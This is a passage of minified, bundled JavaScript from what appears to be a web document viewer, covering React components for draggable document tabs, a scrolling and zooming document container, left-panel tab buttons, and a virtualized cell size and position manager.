0:t.disabled)}),[t]),s.a.createElement("div",{className:"draggable-collapsed-tab",onDragStart:r,draggable:!0,id:i},s.a.createElement("div",{className:"CollapsedTab"},s.a.createElement("div",{className:js()({"file-text":!0,disabled:u}),onClick:n},s.a.createElement("p",null,f)),s.a.createElement(bf,{img:"icon-close",title:"action.close",onClick:o})))};RE.propTypes=ME;var jE=RE;function LE(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function IE(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){LE(i,r,o,a,l,"next",e)}function l(e){LE(i,r,o,a,l,"throw",e)}a(void 0)}))}}function NE(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return DE(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return DE(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function DE(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var FE=function(){var e=re(),t=NE(Object(l.useState)(!1),2),n=t[0],r=t[1],o=NE(Object(l.useState)(),2),i=o[0],a=o[1],u=NE(Object(l.useState)(),2),f=u[0],d=u[1],p=NE(Object(l.useState)(),2),h=p[0],m=p[1],g=Object(l.useRef)(),v=NE(le((function(e){return[fi.getIsMultiTab(e),fi.getTabManager(e),fi.getDocumentContainerWidth(e),fi.getTabs(e),fi.getActiveTab(e)]})),5),y=v[0],b=v[1],w=v[2],E=v[3],S=v[4],C=Math.floor(w/180);Object(l.useEffect)((function(){var e=document.createElement("div");e.id="0",c.a.render(s.a.createElement(dE,{onDragOver:_,onDragLeave:T}),e),g.current=e}),[]);var x=null==E?void 0:E.findIndex((function(e){return e.id===S}));Object(l.useEffect)((function(){x>=C&&C>0&&b&&b.moveTab(x,C-1)}),[C,x,b]);var O=function(e,t){n||(r(!0),a(t),d(t),e.dataTransfer.setData("text",""),e.dataTransfer.dropEffect="move",e.dataTransfer.effectAllowed="move")},A=function(e,t,n){e.preventDefault(),e.stopPropagation();var r=document.getElementById("tab-".concat(n)),o=r.offsetLeft+r.offsetWidth/2>=e.pageX;t===i||t+1===i&&!o||t-1===i&&o||(g.current.id=n,o&&t>i&&0!==t?d(t-1):!o&&t<i&&t!==E.length-1?d(t+1):d(t),o?r.prepend(g.current):r.append(g.current),m(!0))},_=function(e){e.preventDefault(),e.stopPropagation(),h||m(!0)},T=function(e){var t;e.preventDefault(),e.stopPropagation(),null!==(t=document.getElementsByClassName("TabsHeader")[0])&&void 0!==t&&t.contains(e.target)||g.current.remove(),m(!1)},k=function(e){g.current.remove(),r(!1),a(null)},P=NE(Object(l.useMemo)((function(){if(!y)return[null,null];var e=null==E?void 0:E.findIndex((function(e){return e.id===S}));e>=C&&C>0&&b&&b.moveTab(e,C-1);var t=E.map((function(t,n){return n<C?s.a.createElement(fE,{onDragStart:function(e){return O(e,n)},onDragOver:function(e){return A(e,n,t.id)},onDragLeave:T,setActive:function(){return j(t.id)},key:t.id,id:"tab-".concat(t.id),isActive:t.id===S,closeTab:function(){return I(t.id)},tab:t,isToLeftOfActive:n===e-1}):s.a.createElement(jE,{onDragStart:function(e){return O(e,n)},tab:t,key:t.id,id:"tab-".concat(t.id),closeTab:function(){return I(t.id)},setActive:function(){return j(t.id)}})}));return[null==t?void 0:t.slice(0,C),null==t?void 0:t.slice(C,t.length)]}),[b,E,C,j,I,k,O,A,T]),2),M=P[0],R=P[1];function j(e){return L.apply(this,arguments)}function L(){return(L=IE(regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if((n=E.findIndex((function(e){return e.id===t})))>=C&&b.moveTab(n,C-1),e.t0=S!==t,!e.t0){e.next=6;break}return e.next=6,b.setActiveTab(t,!0);case 6:case"end":return e.stop()}}),e)})))).apply(this,arguments)}function I(t){b.deleteTab(t,e)}return y?s.a.createElement("div",{className:"TabsHeader",onDrop:function(e){m(!1),n&&i!==f&&(b.moveTab(i,f),g.current.remove())},onDragEnd:k},M,s.a.createElement("div",{className:"add-button"},(null==R?void 0:R.length)>0&&s.a.createElement("div",{className:"dropdown-menu tab-dropdown-button",onClick:function(){return e(Ps.toggleElement("tabMenu"))},"data-element":"tabTrigger"},R.length),s.a.createElement(bf,{title:"action.openFile",img:"icon-menu-add",onClick:function(){return e(Ps.openElement("OpenFileModal"))}}),(null==R?void 0:R.length)>0&&s.a.createElement(Lp,{menu:"tabMenu",trigger:"tabTrigger",onClose:void 0},R)),s.a.createElement(TE,null)):null};function BE(e){return(BE="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function HE(){return(HE=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function VE(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function zE(e,t){return(zE=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function UE(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=qE(e);if(t){var o=qE(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return GE(this,n)}}function GE(e,t){if(t&&("object"===BE(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return WE(e)}function WE(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function qE(e){return(qE=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function ZE(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var YE=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&zE(e,t)}(i,e);var t,n,r,o=UE(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),ZE(WE(t=o.call(this,e)),"preventDefault",(function(e){return e.preventDefault()})),ZE(WE(t),"onDrop",(function(e){e.preventDefault();var n=e.dataTransfer.files;n.length&&dh(t.props.dispatch,n[0])})),ZE(WE(t),"handleWindowResize",(function(){var e,n,r,o,i,a,l;e=t.props,n=t.container.current,r=e.isLeftPanelOpen,o=e.isRightPanelOpen,i=e.leftPanelWidth,a=void 0===i?300:i,l=window.innerWidth,r&&(l-=a),o&&(l-=300),n.style.width="".concat(l,"px")})),ZE(WE(t),"onWheel",(function(e){if(t.props.isMouseWheelZoomEnabled&&(e.metaKey||e.ctrlKey))e.preventDefault(),t.wheelToZoom(e);else if(!vt.isContinuousDisplayMode()&&t.props.allowPageNavigation&&!t.props.isReaderMode&&vt.isScrollableDisplayMode()){var n=t.props,r=n.currentPage,o=n.totalPages,i=t.container.current,a=i.scrollTop,l=i.scrollHeight,s=i.clientHeight,u=0===a,c=Math.abs(a+s-l)<=1,f=e.deltaY<0&&Math.abs(e.deltaY)>Math.abs(e.deltaX)&&u&&r>1,d=e.deltaY>0&&Math.abs(e.deltaY)>Math.abs(e.deltaX)&&c&&r<o;l===s&&(e.deltaY<0&&r>1||e.deltaY>0&&r<o)&&(e.preventDefault(),e.stopPropagation()),t.wheelToNavigatePages(e,f,d),t.props.closeElements(["annotationPopup","textPopup","annotationNoteConnectorLine"])}})),ZE(WE(t),"wheelToNavigatePages",(function(e,n,r){n?t.pageUp():r&&t.pageDown(),t.showPageNavigationOverlay(),t.debouncedHidePageNavigationOverlay()})),ZE(WE(t),"pageUp",(function(){var e=t.props.currentPage,n=t.container.current,r=n.scrollHeight,o=n.clientHeight;Fc(e-Dc()),t.container.current.scrollTop=r-o})),ZE(WE(t),"pageDown",(function(){var e=t.props.currentPage;Fc(e+Dc())})),ZE(WE(t),"wheelToZoom",(function(e){var n=t.props.zoom,r=n;e.deltaY<0?r=Math.min(n+_u(n),Zt()):e.deltaY>0&&(r=Math.max(n-_u(n),qt())),vt.zoomToMouse(r)})),ZE(WE(t),"handleScroll",(function(){t.props.closeElements(["annotationPopup","textPopup","annotationNoteConnectorLine","formFieldEditPopup"]),t.showPageNavigationOverlay(),t.debouncedHidePageNavigationOverlay()})),ZE(WE(t),"showAndFadeNavigationOverlay",(function(){t.showPageNavigationOverlay(),setTimeout(t.hidePageNavigationOverlay,4e3)})),ZE(WE(t),"hidePageNavigationOverlay",(function(){t.setState({showNavOverlay:!1})})),ZE(WE(t),"showPageNavigationOverlay",(function(){t.setState({showNavOverlay:!0})})),ZE(WE(t),"pageNavOnMouseEnter",(function(){t.showPageNavigationOverlay()})),ZE(WE(t),"pageNavOnMouseLeave",(function(){t.hidePageNavigationOverlay()})),ZE(WE(t),"getClassName",(function(e){var t=e.isSearchOverlayOpen;return js()({DocumentContainer:!0,"search-overlay":t})})),t.document=s.a.createRef(),t.container=s.a.createRef(),t.wheelToNavigatePages=vh.a.throttle(t.wheelToNavigatePages.bind(WE(t)),300,{trailing:!1}),t.wheelToZoom=vh.a.throttle(t.wheelToZoom.bind(WE(t)),30,{trailing:!1}),t.handleResize=vh.a.throttle(t.handleResize.bind(WE(t)),200),t.debouncedHidePageNavigationOverlay=vh.a.debounce(t.hidePageNavigationOverlay,4e3),t.state={showNavOverlay:!0},t}return t=i,(n=[{key:"componentDidUpdate",value:function(e){_t&&function(e,t,n){var r=t.leftPanelWidth,o=void 0===r?300:r;e.isLeftPanelOpen&&!t.isLeftPanelOpen&&(mm(o,n),n.style.marginLeft="0px"),e.isRightPanelOpen&&!t.isRightPanelOpen&&mm(300,n),!e.isLeftPanelOpen&&t.isLeftPanelOpen&&(gm(o,n),n.style.marginLeft="".concat(o,"px")),t.isLeftPanelOpen&&e.leftPanelWidth!==t.leftPanelWidth&&(n.style.width="".concat(window.innerWidth-o,"px"),n.style.marginLeft="".concat(o,"px")),!e.isRightPanelOpen&&t.isRightPanelOpen&&gm(300,n)}(e,this.props,this.container.current)}},{key:"componentDidMount",value:function(){Gp.initialize(this.document.current,this.container.current),vt.setScrollViewElement(this.container.current),vt.setViewerElement(this.document.current),kt&&window.addEventListener("resize",this.handleWindowResize),this.container.current.addEventListener("wheel",this.onWheel,{passive:!1}),this.updateContainerSize(),vt.addEventListener("documentLoaded",this.showAndFadeNavigationOverlay)}},{key:"componentWillUnmount",value:function(){Gp.terminate(),kt&&window.removeEventListener("resize",this.handleWindowResize),this.container.current.removeEventListener("wheel",this.onWheel,{passive:!1}),vt.removeEventListener("documentLoaded",this.showAndFadeNavigationOverlay)}},{key:"handleResize",value:function(){this.updateContainerSize(),this.props.isReaderMode||(vt.setScrollViewElement(this.container.current),vt.scrollViewUpdated())}},{key:"updateContainerSize",value:function(){var e=this.container.current,t=e.clientWidth,n=e.clientHeight;this.props.setDocumentContainerWidth(t),this.props.setDocumentContainerHeight(n)}},{key:"onTransitionEnd",value:function(e){["background-color","opacity"].includes(e.propertyName)||vt.scrollViewUpdated()}},{key:"render",value:function(){var e,t=this,n=this.props,r=n.leftPanelWidth,o=n.isLeftPanelOpen,i=n.isMobile,a=n.documentContentContainerWidthStyle,l=n.totalPages,u=n.isInDesktopOnlyMode,c=kt?["DocumentContainer",(e=this.props).isHeaderOpen?"":"no-header",e.isSearchOverlayOpen?"search-overlay":""].join(" ").trim():this.getClassName(this.props),f=js()({document:!0,hidden:this.props.isReaderMode}),d=l>1;return s.a.createElement("div",{style:{width:a,marginLeft:"".concat(o?r:0,"px")},className:"document-content-container",onTransitionEnd:this.onTransitionEnd},s.a.createElement(FE,null),s.a.createElement(kd,{onResize:this.handleResize},(function(e){var n=e.measureRef;return s.a.createElement("div",{className:"measurement-container",ref:n},s.a.createElement("div",{className:c,ref:t.container,"data-element":"documentContainer",onScroll:t.handleScroll},s.a.createElement("div",{className:f,ref:t.document,tabIndex:"-1"})),t.props.isReaderMode&&s.a.createElement(aE,null),s.a.createElement(rg,null),s.a.createElement("div",{className:"footer",style:{width:a,marginLeft:"".concat(o?r:0,"px")}},d&&s.a.createElement(mg,{showNavOverlay:t.state.showNavOverlay,onMouseEnter:t.pageNavOnMouseEnter,onMouseLeave:t.pageNavOnMouseLeave}),i&&!u&&s.a.createElement(Tw,null)))})),s.a.createElement("div",{className:"custom-container"}))}}])&&VE(t.prototype,n),r&&VE(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);ZE(YE,"propTypes",{isLeftPanelOpen:Is.a.bool,isRightPanelOpen:Is.a.bool,isSearchOverlayOpen:Is.a.bool,doesDocumentAutoLoad:Is.a.bool,zoom:Is.a.number.isRequired,currentPage:Is.a.number,totalPages:Is.a.number,isHeaderOpen:Is.a.bool,dispatch:Is.a.func.isRequired,openElement:Is.a.func.isRequired,closeElements:Is.a.func.isRequired,displayMode:Is.a.string.isRequired,leftPanelWidth:Is.a.number,allowPageNavigation:Is.a.bool.isRequired,isMouseWheelZoomEnabled:Is.a.bool.isRequired,isReaderMode:Is.a.bool,setDocumentContainerWidth:Is.a.func.isRequired,setDocumentContainerHeight:Is.a.func.isRequired,isInDesktopOnlyMode:Is.a.bool,isRedactionPanelOpen:Is.a.bool,isWv3dPropertiesPanelOpen:Is.a.bool});var $E=Q((function(e){return{documentContentContainerWidthStyle:fi.getDocumentContentContainerWidthStyle(e),leftPanelWidth:fi.getLeftPanelWidthWithReszieBar(e),isLeftPanelOpen:fi.isElementOpen(e,"leftPanel"),isRightPanelOpen:fi.isElementOpen(e,"searchPanel")||fi.isElementOpen(e,"notesPanel"),isSearchOverlayOpen:fi.isElementOpen(e,"searchOverlay"),doesDocumentAutoLoad:fi.doesDocumentAutoLoad(e),zoom:fi.getZoom(e),currentPage:fi.getCurrentPage(e),isHeaderOpen:fi.isElementOpen(e,"header")&&!fi.isElementDisabled(e,"header"),displayMode:fi.getDisplayMode(e),totalPages:fi.getTotalPages(e),allowPageNavigation:fi.getAllowPageNavigation(e),isMouseWheelZoomEnabled:fi.getEnableMouseWheelZoom(e),isReaderMode:fi.isReaderMode(e),isInDesktopOnlyMode:fi.isInDesktopOnlyMode(e),isRedactionPanelOpen:fi.isElementOpen(e,"redactionPanel"),isWv3dPropertiesPanelOpen:fi.isElementOpen(e,"wv3dPropertiesPanel")}}),(function(e){return{dispatch:e,openElement:function(t){return e(Ps.openElement(t))},closeElements:function(t){return e(Ps.closeElements(t))},setDocumentContainerWidth:function(t){return e(Ps.setDocumentContainerWidth(t))},setDocumentContainerHeight:function(t){return e(Ps.setDocumentContainerHeight(t))}}}))(YE),KE=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1);return s.a.createElement($E,HE({},e,{isMobile:t}))};n(985);function XE(e){return(XE="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function QE(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function JE(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function eS(e,t){return(eS=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function tS(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=rS(e);if(t){var o=rS(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return nS(this,n)}}function nS(e,t){if(t&&("object"===XE(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}function rS(e){return(rS=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var oS=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&eS(e,t)}(i,e);var t,n,r,o=tS(i);function i(){return QE(this,i),o.apply(this,arguments)}return t=i,(n=[{key:"render",value:function(){var e=this.props,t=e.isDisabled,n=e.className,r=e.dataElement,o=e.children;return t?null:s.a.createElement("div",{className:n,"data-element":r},o)}}])&&JE(t.prototype,n),r&&JE(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);!function(e,t,n){t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n}(oS,"propTypes",{isDisabled:Is.a.bool,className:Is.a.string.isRequired,dataElement:Is.a.string.isRequired,children:Is.a.node});var iS=Q((function(e,t){return{isDisabled:fi.isElementDisabled(e,t.dataElement)}}))(oS);n(986);function aS(e){return(aS="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function lS(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function sS(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function uS(e,t){return(uS=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function cS(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=pS(e);if(t){var o=pS(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return fS(this,n)}}function fS(e,t){if(t&&("object"===aS(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return dS(e)}function dS(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function pS(e){return(pS=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function hS(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var mS=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&uS(e,t)}(i,e);var t,n,r,o=cS(i);function i(){var e;lS(this,i);for(var t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return hS(dS(e=o.call.apply(o,[this].concat(n))),"isActive",(function(t){return e.props.activePanel===t})),e}return t=i,(n=[{key:"render",value:function(){var e=this,t=this.props,n=t.isLeftPanelOpen,r=t.customPanels,o=t.isLeftPanelTabsDisabled,i=t.setActiveLeftPanel,a=t.notesInLeftPanel;return o?null:s.a.createElement(iS,{className:"LeftPanelTabs",dataElement:"leftPanelTabs"},s.a.createElement(bf,{isActive:this.isActive("thumbnailsPanel"),dataElement:"thumbnailsPanelButton",img:"icon-panel-thumbnail-line",onClick:function(){return i("thumbnailsPanel")},title:"component.thumbnailsPanel",tabIndex:n?0:-1}),s.a.createElement(bf,{isActive:this.isActive("outlinesPanel"),dataElement:"outlinesPanelButton",img:"icon-panel-outlines",onClick:function(){return i("outlinesPanel")},title:"component.outlinesPanel",tabIndex:n?0:-1}),s.a.createElement(bf,{isActive:this.isActive("layersPanel"),dataElement:"layersPanelButton",img:"ic_layers_24px",onClick:function(){return i("layersPanel")},title:"component.layersPanel",tabIndex:n?0:-1}),s.a.createElement(bf,{isActive:this.isActive("bookmarksPanel"),dataElement:"bookmarksPanelButton",img:"ic_bookmarks_black_24px",onClick:function(){return i("bookmarksPanel")},title:"component.bookmarksPanel",tabIndex:n?0:-1}),s.a.createElement(bf,{isActive:this.isActive("signaturePanel"),dataElement:"signaturePanelButton",img:"icon-tool-signature",onClick:function(){return i("signaturePanel")},title:"component.signaturePanel",tabIndex:n?0:-1}),s.a.createElement(bf,{isActive:this.isActive("attachmentPanel"),dataElement:"attachmentPanelButton",img:"ic_fileattachment_24px",onClick:function(){return i("attachmentPanel")},title:"component.attachmentPanel",tabIndex:n?0:-1}),a&&s.a.createElement(bf,{isActive:this.isActive("notesPanel"),dataElement:"notesPanelButton",img:"icon-header-chat-line",onClick:function(){return i("notesPanel")},title:"component.notesPanel"}),r.map((function(t,n){var o=t.panel,a=t.tab;return s.a.createElement(s.a.Fragment,{key:n},s.a.createElement(bf,{key:a.dataElement||n,isActive:e.isActive(o.dataElement),dataElement:a.dataElement,img:a.img,onClick:function(){return i(o.dataElement)},title:a.title}),n<r.length-1&&s.a.createElement("div",{className:"divider"}))})))}}])&&sS(t.prototype,n),r&&sS(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.Component);hS(mS,"propTypes",{isLeftPanelOpen:Is.a.bool,activePanel:Is.a.string.isRequired,disabledCustomPanelTabs:Is.a.array.isRequired,customPanels:Is.a.array.isRequired,isLeftPanelTabsDisabled:Is.a.bool,setActiveLeftPanel:Is.a.func.isRequired,t:Is.a.func.isRequired});var gS=Q((function(e){return{isLeftPanelOpen:fi.isElementOpen(e,"leftPanel"),activePanel:fi.getActiveLeftPanel(e),customPanels:fi.getCustomPanels(e),disabledCustomPanelTabs:fi.getDisabledCustomPanelTabs(e),isLeftPanelTabsDisabled:fi.isElementDisabled(e,"leftPanelTabs"),notesInLeftPanel:fi.getNotesInLeftPanel(e)}}),{setActiveLeftPanel:Ps.setActiveLeftPanel})(xm()(mS)),vS=n(17),yS=n.n(vS),bS=n(18),wS=n.n(bS),ES=n(5),SS=n.n(ES),CS=n(19),xS=n.n(CS),OS=n(56),AS=n(34),_S=n.n(AS),TS=n(33);function kS(e){var t=e.cellCount,n=e.cellSize,r=e.computeMetadataCallback,o=e.computeMetadataCallbackProps,i=e.nextCellsCount,a=e.nextCellSize,l=e.nextScrollToIndex,s=e.scrollToIndex,u=e.updateScrollOffsetForScrollToIndex;t===i&&("number"!=typeof n&&"number"!=typeof a||n===a)||(r(o),s>=0&&s===l&&u())}var PS=function(){function e(t){var n=t.cellCount,r=t.cellSizeGetter,o=t.estimatedCellSize;ue()(this,e),pe()(this,"_cellSizeAndPositionData",{}),pe()(this,"_lastMeasuredIndex",-1),pe()(this,"_lastBatchedIndex",-1),pe()(this,"_cellCount",void 0),pe()(this,"_cellSizeGetter",void 0),pe()(this,"_estimatedCellSize",void 0),this._cellSizeGetter=r,this._cellCount=n,this._estimatedCellSize=o}return fe()(e,[{key:"areOffsetsAdjusted",value:function(){return!1}},{key:"configure",value:function(e){var t=e.cellCount,n=e.estimatedCellSize,r=e.cellSizeGetter;this._cellCount=t,this._estimatedCellSize=n,this._cellSizeGetter=r}},{key:"getCellCount",value:function(){return this._cellCount}},{key:"getEstimatedCellSize",value:function(){return this._estimatedCellSize}},{key:"getLastMeasuredIndex",value:function(){return this._lastMeasuredIndex}},{key:"getOffsetAdjustment",value:function(){return 0}},{key:"getSizeAndPositionOfCell",value:function(e){if(e<0||e>=this._cellCount)throw Error("Requested index ".concat(e," is outside of range 0..").concat(this._cellCount));if(e>this._lastMeasuredIndex)for(var t=this.getSizeAndPositionOfLastMeasuredCell(),n=t.offset+t.size,r=this._lastMeasuredIndex+1;r<=e;r++){var o=this._cellSizeGetter({index:r});if(void 0===o||isNaN(o))throw Error("Invalid size returned for cell ".concat(r," of value ").concat(o));null===o?(this._cellSizeAndPositionData[r]={offset:n,size:0},this._lastBatchedIndex=e):(this._cellSizeAndPositionData[r]={offset:n,size:o},n+=o,this._lastMeasuredIndex=e)}return this._cellSizeAndPositionData[e]}},{key:"getSizeAndPositionOfLastMeasuredCell",value:function(){return this._lastMeasuredIndex>=0?this._cellSizeAndPositionData[this._lastMeasuredIndex]:{offset:0,size:0}}},{key:"getTotalSize",value:function(){var e=this.getSizeAndPositionOfLastMeasuredCell();return e.offset+e.size+(this._cellCount-this._lastMeasuredIndex-1)*this._estimatedCellSize}},{key:"getUpdatedOffsetForIndex",value:function(e){var t=e.align,n=void 0===t?"auto":t,r=e.containerSize,o=e.currentOffset,i=e.targetIndex;if(r<=0)return 0;var a,l=this.getSizeAndPositionOfCell(i),s=l.offset,u=s-r+l.size;switch(n){case"start":a=s;break;case"end":a=u;break;case"center":a=s-(r-l.size)/2;break;default:a=Math.max(u,Math.min(s,o))}var c=this.getTotalSize();return Math.max(0,Math.min(c-r,a))}},{key:"getVisibleCellRange",value:function(e){var t=e.containerSize,n=e.offset;if(0===this.getTotalSize())return{};var r=n+t,o=this._findNearestCell(n),i=this.getSizeAndPositionOfCell(o);n=i.offset+i.size;for(var a=o;n<r&&a<this._cellCount-1;)a++,n+=this.getSizeAndPositionOfCell(a).size;return{start:o,stop:a}}},{key:"resetCell",value:function(e){this._lastMeasuredIndex=Math.min(this._lastMeasuredIndex,e-1)}},{key:"_binarySearch",value:function(e,t,n){for(;t<=e;){var r=t+Math.floor((e-t)/2),o=this.getSizeAndPositionOfCell(r).offset;if(o===n)return r;o<n?t=r+1:o>n&&(e=r-1)}return t>0?t-1:0}},{key:"_exponentialSearch",value:function(e,t){for(var n=1;e<this._cellCount&&this.getSizeAndPositionOfCell(e).offset<t;)e+=n,n*=2;return this._binarySearch(Math.min(e,this._cellCount-1),Math.floor(e/2),t)}},{key:"_findNearestCell",value:function(e){if(isNaN(e))throw Error("Invalid offset ".concat(e," specified"));e=Math.max(0,e);var t=this.getSizeAndPositionOfLastMeasuredCell(),n=Math.max(0,this._lastMeasuredIndex);return t.offset>=e?this._binarySearch(n,0,e):this._exponentialSearch(n,e)}}]),e}(),MS=function(){return"undefined"!=typeof window&&window.chrome?16777100:15e5},RS=function(){function e(t){var n=t.maxScrollSize,r=void 0===n?MS():n,o=wm()(t,["maxScrollSize"]);ue()(this,e),pe()(this,"_cellSizeAndPositionManager",void 0),pe()(this,"_maxScrollSize",void 0),this._cellSizeAndPositionManager=new PS(o),this._maxScrollSize=r}return fe()(e,[{key:"areOffsetsAdjusted",value:function(){return this._cellSizeAndPositionManager.getTotalSize()>this._maxScrollSize}},{key:"configure",value:function(e){this._cellSizeAndPositionManager.configure(e)}},{key:"getCellCount",value:function(){return this._cellSizeAndPositionManager.getCellCount()}},{key:"getEstimatedCellSize",value:function(){return this._cellSizeAndPositionManager.getEstimatedCellSize()}},{key:"getLastMeasuredIndex",value:function(){return this._cellSizeAndPositionManager.getLastMeasuredIndex()}},{key:"getOffsetAdjustment",value:function(e){var t=e.containerSize,n=e.offset,r=this._cellSizeAndPositionManager.getTotalSize(),o=this.getTotalSize(),i=this._getOffsetPercentage({containerSize:t,offset:n,totalSize:o});return Math.round(i*(o-r))}},{key:"getSizeAndPositionOfCell",value:function(e){return this._cellSizeAndPositionManager.getSizeAndPositionOfCell(e)}},{key:"getSizeAndPositionOfLastMeasuredCell",value:function(){return this._cellSizeAndPositionManager.getSizeAndPositionOfLastMeasuredCell()}},{key:"getTotalSize",value:function(){return Math.min(this._maxScrollSize,this._cellSizeAndPositionManager.getTotalSize())}},{key:"getUpdatedOffsetForIndex",value:function(e){var t=e.align,n=void 0===t?"auto":t,r=e.containerSize,o=e.currentOffset,i=e.targetIndex;o=this._safeOffsetToOffset({containerSize:r,offset:o});var a=this._cellSizeAndPositionManager.getUpdatedOffsetForIndex({align:n,containerSize:r,currentOffset:o,targetIndex:i});return this._offsetToSafeOffset({containerSize:r,offset:a})}},{key:"getVisibleCellRange",value:function(e){var t=e.containerSize,n=e.offset;return n=this._safeOffsetToOffset({containerSize:t,offset:n}),this._cellSizeAndPositionManager.getVisibleCellRange({containerSize:t,offset:n})}},{key:"resetCell",value:function(e){this._cellSizeAndPositionManager.resetCell(e)}},{key:"_getOffsetPercentage",value:function(e){var t=e.containerSize,n=e.offset,r=e.totalSize;return r<=t?0:n/(r-t)}},{key:"_offsetToSafeOffset",value:function(e){var t=e.containerSize,n=e.offset,r=this._cellSizeAndPositionManager.getTotalSize(),o=this.getTotalSize();if(r===o)return n;var 